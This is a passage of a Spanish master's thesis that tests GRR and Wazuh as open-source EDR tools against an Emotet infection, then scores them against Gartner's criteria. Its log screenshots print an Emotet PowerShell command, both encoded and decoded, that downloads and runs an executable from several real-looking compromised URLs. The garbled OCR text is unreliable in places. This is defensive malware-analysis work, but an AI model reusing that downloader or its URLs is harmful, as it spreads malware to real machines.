Un analisis de este log presenta la apertura del archivo por parte de Microsoft
Word.

Microsoft-Windows-Sysmon3%:40perational MNumero de eventos: 54

Nivel Fecha y hora Origen Id.de.. Categ..

Sysm... 11 FHlecr..
(D Infarmaci 2120191247149 nmi Svem 12 Eenis

Evento 11, Sysmon

General | Detalles

File created:

RuleMName:

UtcTime: 2019-11-26 17:41:53.166

ProcessGuid: {722ddel9-63db-5ddd-0000-0010737a6f00}
Processid: 3368

Image: C\Program Files\Microsoft Office\Office1\WINWORD.EXE
TargetFilename: C\Users\Noriben\Downloads\~$tacion.doc
CreationUtcTime; 2019-11-26 17:41:53.166

llustracién 25. Hallazgo de archivo de malware abierto por MS Word

Y més adelante, es posible observar la ejecuciéon de un comando codificado a
través de Powershell
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Nivel Fecha y hora Origen Id.de.. Categ..

() Informaci.. 26/11/2019 12:42:44 p.m. Sysm...
(D Infarmari 2RMA1/2019 124232 nm Swsm 1 Proce
Evento 1, Sysmon

General |Detalles

Image: C\Windows\System32\WindowsPowerShell\wl.0\powershell.exe

FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)

Description: Windows PowerShell

Product: Sistema operativo Microsoft® Windows®

Company: Microsoft Corporation

CommandLine: powershell -enco
JABQAHIARgBoAEEAMAASACCAVWBmMADEACgBIAHOAIWATACQAIQBVAECATQBMAEKAIAASACAAIWAYADgANAANADSAJABPAE
IAdABgADQAOQBOADOAIWBUAGOATQBXAFCAOABZADAAIWATACQARGB3AGMAQQBKAHMANGAIACQAZQBUAHYAOGBIAHM
AZQByAHAAcgBVAGYAaQBsAGUAKwWARAFWAIWArACQAJQBVAEOATQBMAEKAKWARAC4AZ QBAAGUAIWATACQAUWASAECAegBS
AHMAJABNADOAJWBFAEYAQWB3AG4ADABHAHOAIWATACQAdQA4AFUAQQBYADMAPQAMACgAJWBUACCAKWANAGUADWANAC

llustracion 26. Ejecucion de cédigo en Powershell

Lo anterior, corresponde a un coédigo codificado en Base64, comunmente
usado por diferentes variantes maliciosas que ejecutan comandos sobre
sistemas con el fin de completar sus diferentes objetivos, como robo de
informacion, comprometer otros sistemas, hacer equipos parte de una botnet, o
cifrarlos para extorsionar usuarios o empresas solicitando un rescate para
recuperar informacion afectada. Para visualizar el cédigo de en un nivel de
abstraccion mas facil al entendimiento humano, se usa una herramienta de
conversion entre formatos, este es un ejemplo del servicio CyberChef
(https://gchg.qithub.io/CyberChef/). A través de estos hallazgos es posible
obtener informacion adicional de inteligencia respecto a la amenaza, y obtener
indicadores de compromiso adicionales como direcciones IP y dominios de
Internet, los cuales deberian ser usados para tomar acciones de tipo proactivo
e incluirlas en listas restrictivas y con el fin de identificar el alcance completo de
la amenaza sobre la red, para efectuar una mitigacion y erradicacion de este
posible incidente por el malware Emotet.

Recipe Ol B Input

le
JABQAHIARgBOAE EAMAAIACCAVWBMADEACEBIAHOL

5AJABPAEIAdABGADQAOQBOADBATWBUAGZATQB XA

Alphabet AHYAOZB1AHMAZQBY AHAAC ZBVAGYA2QBSAGUAKWAT
A-Za-20-9+/= - A7ACQAUWASAECARgBSAHMAIABNADRAIWBFAEYAQY
JwBUACCAKWANAGUAdWANACSATWATAGSAYERBgAGUL

QAOWAKAHAATABGAE TACQBIJAEAARQAOACCABABBA

Remove non-alphabet chars AGWARQBZAHQALEE ] AGBABQAYAHCACAALAGEAZABT
AVACBACWBVAGBAZQBUAGUADQBWAGBAGWB1AHTADC

CAATAGEAZABAGKADgAVAHAAYQBAGEANQBXADU!

From Base64

Ed9 = | Documento - WordPad — O X PHAALQBJAC
BUAGZAbgBC
Inico | Ver O/, sracurzc
D Calibri S A A E =< :é =] OB AVAALACE!
23 Reemplazar
Sac
Py - - = =g [nserar .

ei;ar N K § & X x A £ == HSE- = illi Seleccionar todo
Portapapeles Fuente Parrafo Edicién o 5 u
R TR
‘g‘..1.“2.|-3‘|-4-|‘5-|-5-|‘?-|-E- I RIS [ TREICS A NS RS E A SIS A [
Alumm.L
SpLjBgINE="http://blockchainjoblist.com/wp-admin/014080/ (. on s
@https://womenempowermentpakistan.com/wp-admin/pabasq52/ p.L.j.B.c
@https://atnimanvilla.com/wp-content/073735/ @https://yeuguynhnhai.com/upload/41830/ b .m.i.n.
@https://deepikarai.com/js/4bzs6/"."sPL'iT"('@'); $M4s)loGw="zISJEmiP";foreach (SV3hEPMMZ bon...cc
in SpLjBgINE){try{Su8UAr3."DOw N 10aDfi Le"[SV3hEPMMZ, SFwcAls6); l1.1.8...¢
SIvHHwWRib='s5Ts_iP8%If ({&('G'+'e'+'t-Item’) SFwcAls6)."LeN gTh" -ge 23931} ln.h.a.i..
{[Diagnostics.Process]::"ST ArT"SFwcAls6); SzDNs8wi=F3Wwo0' break; STTIptXB=jIWhCzP'}} bo.m./.j.¢
catch{}SvZzi_uAp="aEBtpja| E.'.z.I.5.

llustracién 27. Conversion Powershell Base64 hallada con GRR
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5.3.2 Experimentacion con Wazuh

Una vez el servidor Wazuh se encuentra en funcionamiento, se puede proceder
al despliegue de los agentes, los binarios son proporcionados por los
desarrolladores del proyecto en
https://documentation.wazuh.com/3.10/installation-guide/packages-
list/index.html#packages, alli es posible identificar los instaladores para todas
las plataformas soportadas.

Luego de descargarse el archivo, es posible desplegar el binario a través de
Directivas de Grupo GPO (Directorio Activo), Powershell a nivel remoto,
comandos WMI o psexec al igual que puede darse el despliegue del agente de
GRR en entornos empresariales donde se requieren implementaciones a gran
escala. Una vez se encuentra alojado el archivo en el Endpoint, su instalacion
puede realizarse a través de la consola gréfica, lo cual requiere accién humana
en cada sistema o realizarse a través de linea de comandos?:

En CMD:
wazuh-agent-3.10.2-1.msi /g ADDRESS="10.0.0.2" AUTHD_SERVER="10.0.0.2"

En Powershell:
\wazuh-agent-3.10.2-1.msi /g ADDRESS="10.0.0.2" AUTHD_SERVER="10.0.0.2"

A través de estos comandos, se realizara la instalacion y proceso de registro
del agente para que sea identificado por Wazuh.

Accediendo mediante un navegador web en hitps:/DIRECCION_IP. WAZUH, Se
visualizara la interfaz de Kibana, que es la ventana de acceso a ElasticStack y
a través del cual se puede identificar Wazuh en el panel izquierdo a traves de
su logo. A continuacidn, se presenta el sistema victima que se encuentra en
monitoreo a través de la interfaz grafica:

= [ Overview & Management [J Agents (@) Discover  >_ Dev tools wazuhmanager — wazuh-alerts-3.x-*  §
o

4

Total agents Active agents Disconnected agents Never connected agents

1 1 0 0

SECURITY INFORMATION MANAGEMENT AUDITING AND POLICY MONITORING

[

&

@&
— [ove)
g ED Security events E Integrity monitoring 4 | $ Policy monitoring —@— System auditing

Browse through your security alerts Alerts related to file changes Verify that your systems are Audit users behavior, monitoring
= identifying issues and threats in your including permissions, content configured according to your security command execution and alerting on
N environment. ownership and atiributes. policies baseline access to critical files

llustracién 28. Panel principal de opciones Wazuh

En la opcion “Agents” en la parte superior es posible identificar la informacion
de los sistemas que estan siendo monitoreados.

20 Informacion para instalacion del agente Wazuh en sistemas Windows

https://documentation.wazuh.com/3.10/installation-quide/installing-wazuh-
agent/windows/wazuh agent package windYows.html
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=
s [: Overview ¢ Management ] Agents (#) Discover  »_ Dev tools

MA
A s
. () Status &g Details
@, Active Aclive  Disconnected Mever connected  Agents coverage
B Disconnected 1 0 0 100.00%
Ed B Mever connected
Last registerad agent Most aclive agent
“ SEMmeEEsSeNS: SEESIRSEESSSES

llustracion 29. Visaualizacién de agentes monitoreados desde Wazuh

Los eventos de seguridad es una funcionalidad que presenta una serie de
graficas e informacion estadistica, ademas de presentar las alertas relevantes.
Con el sistema infectado por la infeccion de Emotet, se pueden observar
eventos relacionados.

Alerts summary &

Rule ID Description Level Count

2550186 Detects suspicious PowerShell invocation command parameters 12 1

255071 Detects a suspicious command line execution that includes an URL and 12 2
AppData

62103 Windows Defender: detected potentially unwanted softwars 12 4
C:\Windows\Sys\WOWE4\cmd. exe

60776 SessionEnv was unavailable to handls a critical notification event 7 1

62104 Windows Defender: taken action to protect machine from unwanted software 7 2

C:Windows\Sys\WOWEAWMIScriptingAPlinssy exe

19007 Benchmark for Windows audit: Ensure 'Devices: Prevent users from 7 1
installing printer drivers’ is set to 'Enabled’

550 Integrity chacksum changed. 7 4
61109 Name resolution for the name wpad timed out 5 1
554 File added to the system. 5 1

llustracién 30. Alertas de seguridad detectados por la infeccion de Emotet

Aquellos eventos con cuyo prefijo es 255 estan relacionadas con las alertas
Sysmon que fueron configuradas previamente. Ya que Wazuh a nivel estandar
monitorea en Windows los logs de eventos representativos Security, System y
Application, puede hacerse mas dificil la detecciébn de malware, este tema sera
tratado dentro de las conclusiones y trabajo futuro de este trabajo.

Para el caso de la muestra de malware usada en esta PoC, el evento mas
representativo se percibe en la ejecucion de Powershell con comandos
sospechosos (Detects suspicious PowerShell invocation command
parameters), al revisar a detalle la alerta a través de la opcién “Discover” de
Wazuh es posible obtener trazabilidad completa del comando ejecutado sobre
el sistema victima.
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=

e powershell -enco JABQAHIARQBOAEEAMAAIACCAVWEMADEACOBIAHOAIWATACQADOBVAEBATOENAEKATAAIACAA JWAYADGANAANADSAJABPAETAJAEGADOADOBOA
DBAJIWBUAGQATOBXAFCAOABZADAA JWAT ACOARGB3AGMAQOBKAHMANGASACOAZOBUAHY ADBE1ARMAZ(BYAHAACOBYAGY A20BSAGUAKWANAF WA WAr ACQAGOBVAEBATOE
MAEKAKWANACAAZ0OBAAGUAINATACOAUWASAECARgBSARMACABNADGA JWBFAEYAQWB3AGAADABHAHOA JWAT ACQADQA4AFUAQOBY ADKAPOAMAC QA JWBUACCAKWANAGUAC
WANACSAJWATAGBAYQBQAGUAYWBOACCAKQAQAE4AZOBUACAAdWBF AETAQWBSAEKARQBUAHQAONAKAHAATABQAETACOBAELARQAIACCABABBAHDACAABACBALAB1AGH
AbnB]AGSAYWBOAGEAZOBUAGOADWBIAGHAZOBZAROAL 0B ) AGEADOAVAHCACAATAGEAZ ABTAGKADGAVADAAMOABADAADAAWACSAQABOAHOACABIASMADGAV ACBADWEVA
GBAZOBUAGUADQBWAGBAJWE1AHIADOBLAG4AdABAAGEAZWBPAHMAGABRAG4ALQE] AGBADOAVAHCACAATAGEAZABL AGKADQAVAHAAYOB1AGEANDEXADUAM AVAEAAGAS
BAHQACABZADOALWAVAGEAJABUAGKADOBhAGAAdgBpAGHADABRACAAYWEBVAGBALWB3AHAAL QB ] AGEADGBBAGUADBBACEAMAAI ADNANWAZADUALWBAAGQAdABBAHAAC
WABACBALWBSAGUAJOBXAHUA=QBUAGQADGBOAGEARNAUAGHADWBTACBAJOBWAGHADWBNAGOAL WABADEADAAZ ADAALWEAAGQACABOAHAACWABACEALWBKAGUAZOEWAGK
AawBhAHIAYOBpACAAYWBVAGBALWEQAHMALWABAGIASQEZADYALWANACAATQBZAFAATABQAGKAVAAIACGA IWBAACCAKQATACOADAABAHNASBSAGEBARNB3 ADBAIWEEA
EKAUNBQAEUADQBPAF AAJWATAGYADBY AGUAYQE j AGGAKAAKAFY AMABOAEUAUABNAEBAWGAgAGK ADGAGACOACABMAGOANGBXAEKATgBF ACK AewBAAHT AQB7ACQAIQA
4AFUAQQBYADMAL QAL AEQATWE3AGAATOBQAGKATWENAEQAZQBPAGAATABIACTAKAAKAFY AMWBOAEUAUABNAEBANGASACAA JABGAHCAYWBBAEOACWAZACKAOWAKAEK A
OBIAEQACWBSAGKAYQAIACCACHAT AFQACKBFAGKAUAAZACCADWBIAGYATAADACTA JOAOACCARNANACSAWBACCAKWANAHOAL OBJAHOAZOB L ACCAKOAGACQARGB3AGH
AQQBKAHMANGADACAATQBMAGUATQEQAGCAVABOACIATAATAGCAZOAQADIAMWASADHAMQADACAAeWBDAEQAZOBNAGCADGBVAHMAIABPAGHACKAUAFAACOBYAGMAZOBZA
HMAXQAGADOATQBTAFQAYABBAHIAVAAIACQAJABGAHCAY WBBAEOACWAZACKAOWAK AHOARABOAHMADAB3 AGKAPQANAEY AMWBX AHCADNAWACCAOWBIAHT AZOBNAGSAOWA
KAFQAVABKAHAAJABYAETAPQANAGKAGBSAF cAZABDAHOAUAANAHBATOB j AGEAGAB JAGgAewBIAHBAJAB2AF 0AeqBpAFBAJUBBAHAAPQANAGEARGBCAHOACABGADQA)

WA=

Microsoft Corporation
C:\Windows\system32\

Windows PowerShell

18.9.18362.1 (WinBuild.1681081.8880)

SHA1=36C5D12033B2EAF251BAES1008690FFB17FDDCE7, HDS=CDA4BFC75952AD12D99E526D0B6BF70A, SHA256=988B64B1971A979C7E3EBCE4621945CBAB48
54CB98D76367B791A6E22B5F6D53, IMPHASH=A7CEFACDDA74B13CD338396769752481

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

llustracion 31. Informacién de evento detallada sobre equipo afectado

El comando identificado al ser traducido en la codificacion Base64 como viene
originalmente, puede proporcionar informacién de inteligencia accionable que
lleve a acciones de contencion en herramientas de seguridad a través del
blogueo de datos de conexion a servidores de comando y control (C2) u otros.

| I & catibri -1
&

Pegar N K S abe % x°

=) & wazuh-alerts-3.x-2019.12.85

Insertar Edicién -

Portapapeles Fuente Parrafo _doc
‘g‘|‘1‘\-2-|

SUUMMLI+ .exe";559GZRstM="EFCwnlGz';3u8UAr3=&('n'+'ew'+-object') NeT.wEBCIIEnt;
3pLjBgINE="http://blockchainjoblist.com/wp-admin/014080/
ST o P ——— : powershell -enca JABGAHTARGBOAEEAMAASACCAVWBTADEACGBIAHOAWATACOAA(BVAESATOBMAEKATAASA
bttt com - i —— | CAAJwAY ADGANAANADSAJARPAE TAGABGADQAOQBOADBA InBUAGGATOBXAFCADABZ ADAAJWATACOARGE3AGHARDE
@https:/ com/wp- t/073735/ @htips://yeuquynhnhai.com/uploac |y y0s0a00A70BUAHYAOGE T AHHAZOBY AHAAC GBVAGYAZNBSAGUAKWANAFAIWA ACDAOEVAEBATOBMAEK AK
@https://deepikarai.com/js/abzs6/"."sPLIT"('@");$14s)l0Gw="zISEmiP';foreach(SV3NE |  wAnAC4AZOBAAGUAIWATACOAUWASAEC A2 gBSAHNATABN ADBA JWEF AEY AQWE3 AGAADABHAHOAJWATACDAIOA4AFU
in $pLIBQINE){try{SuSUAF2."DOW N'I0aDfi Le"($V3hEPMMZ, $FwcAls); AQQByADMAPQATACGAWBUACCAKNANAGUAGWANACS AJWAT AGBAYgBAGUAYWRBACCAKAGAEAZOBUACAACWBFA
SivHHuRib='s5Ts. 1PEIT (&' +e'+* rem) SFwcAJs6)."LeN 4Th" ge 23521) EIAQwEsAEkARQ:uAHQAOwAkAHAATAEqAEIAcDEJAEdARDAgACcAaABEAHQAEAgﬁACEALI\‘B1AGwAh\\'E]AGsAV\\‘B
) , e ' 0AGEAAQBUAGOADWE 1AGHAANBZAHOAL OB AGEADQAYAHCACAATAGEAZAB TAGKAD GAVADAANOABADAADAARACEAQ
([Diagnostics. Pracess]::"ST ArT"($FwcAls6);$zDNsBwi=F3WwoD sbreaki STUBDB=TIW | | )50 15104 daBuaHHADG AVACEACNEVAGEAZ 0BUAGUADOBIAGEAGHE LAHT ADCEL AGAACABWAGE A2WBpARHAGABRAGS
ALgB] AGBABQAVAHCACAATAGEAZAB TAGK AbgAVAHAAYQB1 AGEANOBXADUANGAVAE AABABBAHQACABZADOAL WAVA

llustracién 32. Conversion Powershell Base64 hallada con Wazuh

S1e8e 910 1T 1200 13 114 e
Al 192.168.76.148
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6. Analisis de resultados

6.1 Andlisis de caracteristicas Gartner en EDRs testeados

Luego de experimentacion con los sistemas GRR y Wazuh a través de su
implementacion realizando una PoC y observando las funcionalidades frente a
la infeccién deliberada de un equipo monitoreado por estas soluciones de
seguridad, a continuacién, se presentan las conclusiones obtenidas de las
pruebas efectuadas y la satisfaccién de requisitos que cumplen en relacién con
las cuatro caracteristicas enunciadas por Gartner para un sistema EDR, se
debe tener en cuenta que la naturaleza de cada uno de estos sistemas no fue
disefiada partiendo de estos principios y sus desarrolladores no estaban
creando un sistema EDR, no obstante a lo anterior, como se vera en las
conclusiones, es posible cubrir estas caracteristicas con algunos limites.

Caracteristica - Habilidad de detectar incidentes de seguridad cuando ocurren

Aungue GRR no percibe en sus funcionalidades un monitoreo por defecto de archivos
y la integracion nativa de elementos de inteligencia como 1oC, nombres de archivos
sospechosos, listas maliciosas de IP/Dominios, entre otros que puedan generar alertas
automatizadas respecto a la actividad de los Endpoint, esto se puede configurar a nivel
manual a través de la programacion de Hunts, dado que un sistema EDR es usado
comuUnmente para procesos de caza de amenazas (Threat hunting), GRR satisface
estas necesidades. No obstante, es requerida accién y analisis humano para
determinar anomalias relacionadas a compromisos en los Endpoint.

Wazuh cuenta con configuracion de alertas y reglas de monitoreo sobre logs e
integracion de herramientas adicionales como VirusTotal, posee por defecto reglas que
se activan y visualizan en la interfaz gréfica relacionadas a problemas de seguridad en
los diferentes Endpoint Windows, Mac OSX y diversas variantes de Linux en las que se
ofrece agente. Como se pudo observar en las pruebas efectuadas, es extensible a la
Wazuh | recoleccion y andlisis de logs adicionales ademas de creacion de reglas
personalizadas que pueden ser usadas para aplicativos y software propio de negocio.
En general Wazuh se percibe como una herramienta que satisface bastante bien esta
primera caracteristica de deteccion a nivel de seguridad de un Endpoint, no obstante,
requiere del establecimiento de reglas muy bien configuradas que permitan obtener
|nformaC|on de calldad y que permita toma de deC|S|ones

GRR

Dado que GRR fue disefiado principalmente con fines de investigacion y recoleccion
de datos a gran escala, sus funcionalidades tienen limites para efectuar acciones que
contengan incidentes directamente sobre los Endpoint, no obstante, la informacion
identificada en GRR puede ser de valia a través del uso de software adicional que
pueda contener procesos maliciosos, inclusion de reglas de Antivirus, listas negras y/o
reglas de control en Firewalls y de navegacion. Adicionalmente, GRR cuenta con una
API con la cual se pueden crear interfaces o conexiones con otras tecnologias que
habiliten estas actividades.

Provee una funcionalidad denominada Active Response, que es un conjunto de
contramedidas para abordar las amenazas detectadas, al igual que las reglas, estas
acciones son ejecutadas cuando se cumplen ciertos criterios. Las respuestas activas
son similares a las reglas de monitoreo configurdndose también en XML y que al
activarse ejecutan un script de respuesta. Wazuh provee una serie de scripts
preconfigurados en Windows y Linux como parte de su documentacién?!. Esta
funcionalidad debe ser usada con cuidado ya que implementaciones débiles de reglas
pueden dar lugar a errores 0 aumentar las vulnerabilidades del sistema.

GRR

Wazuh

21 https://documentation.wazuh.com/3.10/user-manual/capabilities/active-response/how-it-

works.html#default-active-response-scripts
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Muchas actividades de contencién-remediacién pueden ser sensibles respecto al
impacto en disponibilidad o errores en tecnologia ya que deben realizarse de manera
directa en ambientes productivos, acciones representativas como remocion de
archivos, parada de servicios, entre otros, deberian ser implementadas con
intervencioén y control humano para que se garantice supervision durante los procesos.

Caracteristica - Soportar la investigacion del incidente

El cumplimiento de esta caracteristica mencionada por Gartner en GRR puede
satisfacerse bastante bien, ya que GRR provee sobre uno o grupos de Endpoints, la
posibilidad de recoleccién de informacién que permita confirmar compromisos de
seguridad sobre los Endpoint,

GRR

Da la posibilidad de obtener mayores datos a través de la revision adicional de eventos
en los logs monitoreados, Wazuh puede ser configurado para recoger todos los datos
relacionados a los Endpoint en lugar de recolectar eventos especificos habilitando esta
funcionalidad en el archivo ossec.conf del servidor. Esta informacion puede ser usada
Wazuh | para tomar acciones de contencion-erradicacion a través de otros sistemas de
seguridad complementarios. Adicionalmente, Wazuh tiene implementadas entre sus
funcionalidades un motor de inspeccion que revisa la integridad y alerta respecto a
cambios en el sistema, que incluye por ejemplo elementos sobre el registro de
Windows donde pueden crearse o modificarse valores fruto de amenazas cibernéticas.
Caracteristica - Proporcionar mecanismos para remediar la situacion sobre el/los
Endpoint(s) afectados

Esta funcionalidad esta muy relacionada con las caracteristicas de contencion
enunciadas por Gartner, en GRR, se cuenta principalmente con opciones que permiten
obtener la informacién suficiente que habilite procesos de remediacion, sin embargo
GRR | este no es un sistema que cuente con funcionalidades para limpiar sistemas, o
deliberadamente restringir o eliminar la ejecucion de archivos maliciosos, cambios o
remociones de llaves de registro, entre otros elementos que pueden ser parte de un
ataque al/los Endpoint.

Parte de esta funcionalidad puede llegar a satisfacerse a través de las funcionalidades
de Active Response, sin embargo, estos procesos podrian representar riesgos en caso
en que puedan dispararse reglas que puedan representar falsos positivos
relacionados. La utilizacién de esta funcionalidad de respuesta requeriria de un disefio
e implementacién de las reglas ademas de la realizacién de pruebas frente a su
adecuado funcionamiento.

Wazuh

Tabla 3. Conclusiones para GRR y Wazuh en relacién con caracteristicas de un EDR segln
Gartner

Con el animo de proporcionar una vision adicional de las conclusiones
obtenidas, se esquematizé una escala y un diagrama que muestra los
resultados a nivel gréafico, de las funcionalidades percibidas a través de la
experimentacion efectuada frente a las caracteristicas definidas por Gartner
para un sistema EDR, estos no se plasman para ser_interpretados como una
comparaciéon entre GRR y Wazuh, se realiza con el fin de evidenciar los grados
de suficiencia percibidos fruto del desarrollo de este trabajo, los cuales reflejan
oportunidades de desarrollo y mejora con miras a la implementacion practica
en ambientes productivos de una organizacion, y sea parte de adopciones
estratégicas en la postura de seguridad teniendo en cuenta la funcionalidad,
alcance y limitaciones de estas soluciones.

6.2 Escala propuesta de medicion y evaluacion de caracteristicas Gartner

La ponderacién registrada en la tabla de evaluacion de estos sistemas
corresponde con los resultados de la PoC vy las justificaciones que fueron
expresadas a nivel cualitativo, para cada uno de los componentes que debe
cubrir una tecnologia EDR segun Gartner.
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Niveles de adaptacién a las caracteristicas EDR Gartner
Nivel Caracteristicas

No cubre la caracteristica en ninguna de sus funcionalidades o disefio por
defecto. Requiere de un trabajo de disefio y construccién de software para
lograr la funcionalidad
2 - Suficiente Cubre la caracteristica Gartner requiriendo algunas mejoras en personalizacion
requiriendo  de elementos, integracién y creacidn de interfaces con otras tecnologias para
mejoras cubrir la caracteristica.

3. Por defecto satisface adecuadamente la caracteristica Gartner al tener una
empatia fuertemente relacionada entre el propdsito de disefio de la solucion y
la caracteristica Gartner del EDR.

Tabla 4. Tabla de niveles de adaptacion a las caracteristicas EDR en relacion con Gartner

1-No
suficiente

Optimizado

Evaluacion de funcionalidades de las soluciones en la PoC

Caracteristica GRR Wazuh
Habilidad de detectar incidentes 2 2
Contener el incidente 1 2
Soportar la investigacion 3 2
Proporcionar mecanismos para

remediacion 1 2

Tabla 5. Evaluacion de funcionalidades de las soluciones en la PoC

Grafico de evaluacion caracteristicas
EDR

—=&— GRR Wazuh Habilidad de detectar

incidentes
3

2
Proporcionar mecanismos -
o 0 Contener el incidente
para remediacion

Soportar la investigacion

llustracién 33. Evaluacion de caracteristicas EDR

Es importante tener en cuenta, que aquellas ponderaciones en el nivel
relacionado como “No satisface”, hace referencia a que la herramienta
nativamente no efectua la caracteristica, no obstante sus alcances tienen valia
en la ejecucion de tareas automatizadas a través de otro software o de
soluciones que requieren intervencion humana o de tipo manual.
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7. Conclusiones y oportunidades de
iInvestigacion
7.1 Generales y lecciones aprendidas

El impacto y proliferacion de amenazas cibernéticas en la red cuya tendencia
esta en alza afio a afio, crearon la necesidad de implementar sistemas que
permitan monitoreo, Vvisibilidad, habiliten la recoleccion de actividades,
artefactos de seguridad, y cuenten con capacidades de mitigacion vy
remediacion de incidentes en equipos y grupos de Endpoint, creandose un
nuevo mercado emergente de tecnologias conocidas como Endpoint Detection
and Response las cuales responden a estas demandas.

Al existir competidores en el mercado que ofrecen herramientas de seguridad a
empresas, compafiias de investigacion de tecnologia como Gartner,
determinaron que un sistema EDR debe responder a cuatro caracteristicas las
cuales definen este segmento de soluciones dentro del panorama de
seguridad. Actualmente estos sistemas de tipo comercial son desarrollados,
evaluados y contrastados respecto a estos criterios.

No obstante, cuando hablamos de tecnologia siempre existe una perspectiva
de desarrollo de cddigo libre, abierto y sin fines de lucro, en el que participan y
colaboran diversos actores; grandes compafias como Google y Facebook,
entre otras, ademas de desarrolladores independientes y la comunidad de
seguridad, han contribuido con la construccion de soluciones que fortalecen los
procesos, ciclo de vida y fases de respuesta ante un incidente y su
investigacion, siendo estos sistemas catalogados dentro del conjunto de
soluciones EDR. Este trabajo constituyé una revision del estado del arte
referente a estos proyectos tipo open-source que pueden destacarse en el
panorama tecnoldgico, que responden a estos requerimientos y estan dotados
con estas funcionalidades.

El trabajo desarrollado abarcé en detalle dos (2) de estos sistemas, verificando
su funcionamiento a través de pruebas con una muestra de malware real tipo
Emotet, comprobando para éstos su capacidad y posibles funcionalidades
complementarias, como la deteccién de actividades de tipo comportamental,
especificamente de comandos Powershell, y cuyos eventos pueden pasar por
alto ante soluciones de seguridad basadas en firmas como es el caso de
Antivirus, entre otras tecnologias.

La experimentacion proporcion6 elementos para presentar una medida de la
suficiencia de estos sistemas respecto a las caracteristicas que debe cumplir
un EDR de acuerdo con Gartner (Como son desarrollados y evaluados estos
sistemas actualmente); si bien GRR y Wazuh, que fueron los sistemas
escogidos como parte de las fases de investigacion detallada y pruebas del
presente trabajo, cubren estos apartados con diferentes grados de suficiencia
ponderados y registrados en la escala creada, es importante mencionar que
estos no fueron disefiados en base a estas caracteristicas (Gartner), ni
buscando crearse una solucibn EDR, no obstante poseen varias
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funcionalidades relacionadas para que estos sistemas sean clasificados dentro
de este tipo de soluciones.

El enfoque y metodologia adoptada hacen del trabajo un proceso reproducible
gue puede ser usado a fin de evaluar las herramientas adicionales parte del
estado del arte identificado y que, por limitaciones en términos de tiempo no
fueron incluidas en detalle y alcance de este trabajo.

7.2 En relacién con el cumplimiento de los objetivos

Tanto el objetivo general como los especificos planteados, fueron cubiertos con
éxito durante desarrollo de la metodologia planteada, al expresarse un enfoque
y abordaje del tema central de manera tedrico-practica, pasando de la
investigacion a la implementacion de sistemas y la ejecucién de pruebas en un
entorno controlado que involucré una amenaza cibernética real reciente, como
insumo para obtener conclusiones y evaluar los grados de cercania que
pueden tener los sistemas open-source revisados en detalle, en contraste con
las diferentes caracteristicas a las cuales debe responder un sistema EDR
mencionadas por Gartner.

7.3 De la planificacién y metodologia adoptada

En general la metodologia y planificacion planteadas fueron cumplidas de
acuerdo con el plan propuesto para cada etapa expresada en la estructura de
desglose disefiada para el desarrollo del trabajo. Se materializé el riesgo
“Dificultades en la construccién de sistemas” que fue enunciado durante la
etapa de planificacion, ya que se presentaron problemas durante la
implementacion y puesta a punto de Wazuh para el desarrollo de la PoC; la
herramienta se integré con una serie de reglas de alertamiento en seguridad
leidas desde el log de Sysmon las cuales no estaban siendo interpretadas por
el servidor de Wazuh correctamente, y que implicaban pérdida de visibilidad de
los eventos criticos de seguridad en la consola grafica de Kibana, esto conllevo
a un retraso que se vio reflejado en limitaciones para la presentacion de
resultados del tercer hito de la investigacion de acuerdo con la planificacion
inicial, lo que se percibia como un riesgo sensible frente a la conclusion del
trabajo, no obstante, la eventualidad presentada fue revisada en detalle
refinando las reglas de alertamiento y superando el impase, lo que permitié
completar las pruebas de la herramienta y obtener las conclusiones finales
registradas en este Trabajo Final de Master.

7.4 Oportunidades de investigacion y trabajo futuro

e Por la limitante de tiempo (un semestre) destinado para el desarrollo del
trabajo, fue posible Unicamente profundizar en dos de los sistemas que
se consideraron mas representativos revisando la teoria y su
implementacion practica para el desarrollo de la PoC, una oportunidad
futura que puede ayudar a robustecer este trabajo, es la inclusion de las
demas herramientas identificadas para ser probadas y medidas bajo la
metodologia ejecutada en este analisis; abriendo incluso espacios
comparativos para determinar cual(es) herramienta(s) puede satisfacer
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mejor las caracteristicas de un EDR y/o aquellas que pueden ser usadas
en conjunto como una solucidn competitiva frente a los sistemas
ofrecidos comercialmente.

e Por otra parte, estos sistemas tenian capacidades para monitorear
sistemas Mac OSX y diversas variantes de Linux, un desarrollo a futuro
gue puede complementar el presente trabajo, seria el testeo en estos
sistemas operativos frente a una amenaza cibernética comun que puede
ser la misma empleada en este caso, Emotet.

e Al disponer de diversas categorizaciones de malware, otra oportunidad
futura que puede desprenderse de este trabajo es la realizacion de
pruebas con muestras de ransomware, virus, gusanos, rootkits, familias
de RAT?? y spyware, entre otras amenazas de seguridad; cada una tiene
caracteristicas y comportamientos especificos con lo cual valdria la pena
extender los ensayos a estos tipos de software malicioso.

e Una oportunidad final de trabajo se destaca en términos de desarrollo y
construccion de software, en cuanto a la elaboracion de reglas
preestablecidas que puedan robustecer de manera rapida las
capacidades de las soluciones open-source estudiadas, y que incluso
pueden llegar a ser compatibles con los otros sistemas que fueron
identificados. Por otra parte, dado que los sistemas estudiados (Y
posiblemente los que faltan por revisar) a detalle tienen oportunidades
de mejora que puedan satisfacer mejor las caracteristicas de un EDR, la
invitacion en este caso es que codificadores y la comunidad de
seguridad efectien extensiones y desarrollo de modulos que puedan
mejorar las capacidades de los proyectos actuales, como por ejemplo la
habilidad de conectarse en vivo (Live) a los Endpoint monitoreados, que
es una valiosa funcionalidad ofrecida por diversos EDR de tipo
comercial.

22 Remote Access Trojan
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8. Glosario

>

Cryptojacking: Uso no autorizado de las capacidades de
procesamiento de estaciones de trabajo y servidores para el minado de
transacciones efectuadas entre criptomonedas

DDoS: Es el acronimo de Distributed Denial of Service, es un tipo de
ataque que consiste en desbordar la capacidad de respuesta de un
sistema informatico a través del envio de flujos y paquetes de datos con
una volumetria que ocupa los puertos y capacidades contestar las
solicitudes, causando su indisponibilidad.

Direcciéon IP: Un conjunto de 4 nimeros separados por puntos que
identifica de manera logica una interfaz y localizacién de un dispositivo
gue hace parte de una red de computadores, IP es el acrénimo de
Internet Protocol, que corresponde a un protocolo de comunicaciones
ubicado en el nivel de Red del modelo TCP/IP.

EDR: Endpoint Detection and Response, soluciones que registran y
almacenan el comportamiento a nivel del Endpoint, utilizan diversas
técnicas de analisis de datos para detectar comportamientos
sospechosos del sistema, suministrar informacioén contextual, bloquear
actividades maliciosas y proporcionar sugerencias de remediacion para
restaurar sistemas afectados.

EDT: Acronimo de Estructura de Desglose de Trabajo (Work Basic
Structure WBS en inglés), es una herramienta de gestion de proyectos
